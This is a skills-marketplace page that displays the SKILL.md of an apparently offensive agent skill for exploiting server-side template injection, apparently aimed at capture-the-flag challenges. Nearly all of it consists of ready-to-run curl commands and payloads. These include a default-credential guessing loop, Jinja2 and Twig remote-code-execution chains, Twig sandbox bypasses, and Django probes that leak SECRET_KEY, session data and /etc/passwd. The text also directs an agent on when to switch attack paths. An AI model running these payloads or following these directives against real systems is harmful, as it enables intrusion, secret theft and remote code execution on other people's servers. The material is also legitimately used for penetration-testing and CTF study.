Skip to main content

exploit-ssti

Server-Side Template Injection (SSTI) — RCE through template engines. Covers Jinja2 (Python/Flask), Twig (PHP/Symfony), Freemarker (Java), ERB (Ruby), Razor (.NET). Includes engine fingerprinting, MRO chain construction, and filter bypass.

Ir para a instalação

Informações da origem

Repositório
BitterSecurity/Decepticon
Última atividade na origem
2 de junho de 2026 às 18:57
Idioma detectado do SKILL.md
inglês
Estrelas
5.522
Forks
1.048

Opções de instalação

Por padrão, está selecionado o prompt que primeiro revisa a origem. Você pode mudar para um comando direto ou baixar uma cópia local.

Revise os arquivos de origem

Leia o SKILL.md e os arquivos complementares exibidos pelo SkillsMP antes de decidir se vai instalar.

Exibindo SKILL.md

SKILL.md
Instruções da origem · Visualização somente leitura
name
exploit-ssti
description
Server-Side Template Injection (SSTI) — RCE through template engines. Covers Jinja2 (Python/Flask), Twig (PHP/Symfony), Freemarker (Java), ERB (Ruby), Razor (.NET). Includes engine fingerprinting, MRO chain construction, and filter bypass.
metadata
{"subdomain":"web-exploitation","mitre_attack":"T1190","when_to_use":"ssti, template injection, server side template, jinja2, twig, freemarker, erb, razor, thymeleaf, template engine, {{7*7}}, ${7*7}, mro chain, template rce, flask template, django template, pebble, velocity, smarty, mako"}
# Server-Side Template Injection (SSTI) Exploits template engines that render user input, achieving RCE by injecting template directives. ## Default Credentials Fast-Path (when `default_credentials` is a co-tag) When `default_credentials` appears alongside `ssti` in the challenge tags, attempt login FIRST before any template injection probing: ```bash # Try top default credential pairs in your FIRST exploit bash call for creds in "admin:admin" "admin:password" "test:test" "admin:123456" "user:user" "admin:admin123"; do user="${creds%%:*}"; pass="${creds##*:}" resp=$(curl -s -c /tmp/cookies.txt -X POST "http://<TARGET>/login" \ -d "username=$user&password=$pass" -w '\n%{http_code}' 2>/dev/null) code=$(echo "$resp" | tail -1) [ "$code" = "200" ] || [ "$code" = "302" ] && echo "HIT: $user:$pass ($code)" && break done ``` A valid authenticated session exposes the template-rendering endpoints needed for SSTI — attempting injection on unauthenticated endpoints is often a dead end. Only proceed to template fingerprinting after confirming or exhausting default credentials. ## Detection — Universal Probes ```bash # Polyglot detection string curl -s 'https://<TARGET>/page?input=${{<%[%27"}}%>.' -o ssti_polyglot.txt # Math-based detection curl -s 'https://<TARGET>/page?input={{7*7}}' | grep -o '49' # Jinja2/Twig curl -s 'https://<TARGET>/page?input=${7*7}' | grep -o '49' # Freemarker/EL curl -s 'https://<TARGET>/page?input=#{7*7}' | grep -o '49' # Ruby ERB/Thymeleaf curl -s 'https://<TARGET>/page?input={{7*"7"}}' | grep -o '7777777' # Jinja2 (string repeat) ``` ## Jinja2 (Python — Flask/Django) ```bash # Confirm Jinja2 curl -s 'https://<TARGET>/page?input={{config}}' # RCE via MRO chain PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[<INDEX>]("id",shell=True,stdout=-1).communicate()[0]}}' curl -s "https://<TARGET>/page?input=${PAYLOAD}" -o ssti_jinja2_rce.txt # Common RCE payloads # {{config.__class__.__init__.__globals__['os'].popen('id').read()}} # {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} # {{cycler.__init__.__globals__.os.popen('id').read()}} ``` ## Django (engine.from_string) When the target is **Django** (not Flask/Jinja2) and a view passes user-controlled string into `Engine.get_default().from_string(...).render(Context(...))`, the exploitation surface is **fundamentally different** from Jinja2. **Identify Django (vs Flask/Jinja2):** ```bash # Response header tells: Django sets X-Frame-Options: DENY by default curl -sI "http://<TARGET>/" | grep -iE 'x-frame-options|csrftoken|django' # CSRF cookie name: csrftoken (Django) vs session (Flask) # HTML contains: name="csrfmiddlewaretoken" inputs curl -s "http://<TARGET>/" | grep -oE 'csrfmiddlewaretoken|csrf_token' # Admin route exists curl -s -o /dev/null -w '%{http_code}' "http://<TARGET>/admin/" # 200/302 → Django # Fingerprint probe: {% csrf_token %} renders a hidden input in Django; Jinja2 raises curl -s "http://<TARGET>/page?input={%25+csrf_token+%25}" | grep -o 'csrfmiddlewaretoken' ``` **Critical: Django templates DO NOT expose Jinja2 MRO shortcuts.** The following will NOT work: - `{{request.application.__globals__}}` — Django has no `application` - `{{cycler.__init__.__globals__}}` — `cycler` is a tag, not a builtin - `{{"".__class__.__mro__[1].__subclasses__()}}` — Django blocks `_`-prefixed attribute access in templates (TemplateSyntaxError or silent empty) - `{% load os %}` — Django filters `{% load %}` to registered apps; arbitrary module load denied Django template language is restricted to: variable lookup (`{{var}}`), filter pipes (`{{v|upper}}`), and registered tags (`{% if %}…{% endif %}`, `{% csrf_token %}`, `{% include %}`). **Productive paths for `engine.from_string` SSTI:** ```bash # 1. Settings leak (works when 'django.template.context_processors.debug' or # a custom processor injects `settings` into context) curl -s "http://<TARGET>/page?input={{settings.SECRET_KEY}}" curl -s "http://<TARGET>/page?input={{settings.DATABASES}}" curl -s "http://<TARGET>/page?input={{settings.DEBUG}}" curl -s "http://<TARGET>/page?input={{settings|pprint}}" # 2. Request / session / META leak (when `request` is in the context) curl -s "http://<TARGET>/page?input={{request.session.items}}" curl -s "http://<TARGET>/page?input={{request.session.flag}}" curl -s "http://<TARGET>/page?input={{request.META.HTTP_COOKIE}}" curl -s "http://<TARGET>/page?input={{request.user.is_staff}}" curl -s "http://<TARGET>/page?input={{request.environ}}" # 3. {% include %} path traversal (when an attacker-controlled path reaches include) curl -s "http://<TARGET>/page?input={%25+include+%22../../../etc/passwd%22+%25}" # 4. Placeholder-replace pattern (`template_str.replace('PLACEHOLDER', user_input)`) # Server template: "Hello PLACEHOLDER!" → Payload: {{ request.session.flag }} # Rendered: "Hello <session-flag-value>!" curl -s --data-urlencode 'input={{ request.session.flag }}' "http://<TARGET>/render" curl -s --data-urlencode 'input={{ settings.SECRET_KEY }}' "http://<TARGET>/render" curl -s --data-urlencode 'input={{ request.user.username }}' "http://<TARGET>/render" # 5. messages framework signer key — leaks SECRET_KEY via context-processor object chain # Works when: # - The django.contrib.messages context processor is active (default in startproject) # - {% %} tag syntax is filtered/blocked but {{ }} expressions still evaluate # - settings is NOT in template context (the common `{{ settings.SECRET_KEY }}` returns empty) # Mechanism: CookieStorage.signer is a TimestampSigner whose .key attribute is # `b'django.http.cookies' + SECRET_KEY`. Pure dot-traversal — no underscore-prefixed # attribute access, no filter bypass needed. curl -s --data-urlencode 'input={{ messages.storages.0.signer.key }}' "http://<TARGET>/render" # Strip the constant prefix `django.http.cookies` from the response to recover SECRET_KEY. # When SECRET_KEY itself contains the flag (apps that read flag.txt into SECRET_KEY at boot), # this single probe is the entire exploit. ``` **RCE realism:** Django SSTI rarely reaches RCE via the template language alone — `SafeString`/`Variable` resolution blocks `_`-prefixed traversal, and only registered template tags load. The realistic Django SSTI yield is **information disclosure** (settings, session, request context). RCE generally requires either a custom unsafe filter/tag already registered, or the engine built with `Engine(builtins=['unsafe_module'])` — uncommon. **Context-processor traversal map** (when `{{ settings.* }}` returns empty — settings not in context — enumerate the rest of the context processors before pivoting to auth-required paths): | Context object | Source processor | Useful disclosure | |---|---|---| | `messages.storages.0.signer.key` | `django.contrib.messages.context_processors.messages` | `b'django.http.cookies' + SECRET_KEY` | | `request.session.*` | `django.template.context_processors.request` | session keys / per-user secrets | | `request.user.*` | `django.contrib.auth.context_processors.auth` | username, email, is_staff, password hash | | `perms.*` | `django.contrib.auth.context_processors.auth` | permission set (informational) | | `csrf_token` | `django.template.context_processors.csrf` | per-session CSRF token (TimestampSigner-derived) | **3-strike pivot:** After 3 probes against `{{settings.*}}` / `{{request.session.*}}` / `{{request.META.*}}` AND the full Context-processor traversal map above return empty or unchanged template, **pivot to the `default_credentials` skill** to obtain admin auth, then hit `/admin/` and search admin-only models / login-required views for the flag. Do not loop more SSTI variants past 3 negative probes after exhausting the context-processor map. ## Twig (PHP — Symfony) ```bash # Confirm Twig curl -s 'https://<TARGET>/page?input={{_self.env.display("id")}}' # RCE payloads # Twig 1.x: # {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} # Twig 3.x: # {{['id']|filter('system')}} # {{['id']|map('system')}} curl -s "https://<TARGET>/page?input={{['id']|filter('system')}}" -o ssti_twig_rce.txt ``` **Multi-surface rendering rule (MANDATORY for stored-input apps).** When the target has CRUD endpoints (add/edit/list/search/detail/export), template injection often evaluates on ONLY ONE of the rendering surfaces — typically the detail/show page or an admin/export view — even when the same value is displayed as literal text on the list/search results. **Seeing `{{7*7}}` reflected literally on one page does NOT prove templates are inactive — it proves THAT particular surface is not template-rendered.** Test EVERY rendering surface before concluding SSTI is unavailable: ```bash # 1. STORE the probe — submit {{7*7}} into a persisted field (name, description, comment, tag) curl -s -X POST "http://<TARGET>/<add_endpoint>" -d 'name={{7*7}}&description={{49+1}}' NEW_ID="<extract from redirect or list>" # 2. PROBE each rendering surface — the one that evaluates wins for path in /list /search?q={{7*7}} /detail/${NEW_ID} /edit/${NEW_ID} /export /admin/${RESOURCE} /api/${RESOURCE}/${NEW_ID}; do echo "=== ${path} ===" curl -s "http://<TARGET>${path}" -o /tmp/render_${path//\//_}.txt # 49/50 → evaluated → THIS surface is the SSTI sink grep -E "^[^<]*(49|50)([^0-9]|$)" /tmp/render_${path//\//_}.txt | head -3 done ``` **Twig sandbox is per-loader, not global.** A page that shows `Sandbox mode: Enabled` does NOT mean every Twig context is sandboxed. Stored-data rendering (typically `Twig\Environment` instances initialized for content/email/PDF) is commonly unsandboxed even when the index template is. Test each surface independently before dismissing SSTI. **Twig sandbox-bypass payloads** (when one specific endpoint IS sandboxed but RCE primitives like `system`/`filter` are not whitelisted): ```bash # Twig 1.x — register undefined filter callback to call arbitrary PHP function curl -s 'http://<TARGET>/page?input={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}' # Twig 2.x/3.x — use map/filter with system curl -s 'http://<TARGET>/page?input={{["id"]|map("system")|join}}' # Class-injection gadget (when filters blocked)
Ver no GitHub
Este SKILL.md e muito grande, entao o SkillsMP mostra aqui apenas a primeira secao. Ver no GitHub